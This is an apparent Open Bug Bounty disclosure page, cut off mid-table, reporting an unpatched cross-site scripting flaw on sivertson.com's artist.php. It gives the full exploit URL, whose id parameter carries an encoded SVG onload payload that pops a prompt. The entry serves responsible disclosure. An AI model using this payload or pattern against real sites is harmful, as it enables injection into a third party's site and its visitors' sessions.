sivertson.com XSS vulnerability

Vulnerable URL: https://www.sivertson.com/artist.php?id=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4298159 VIP website status...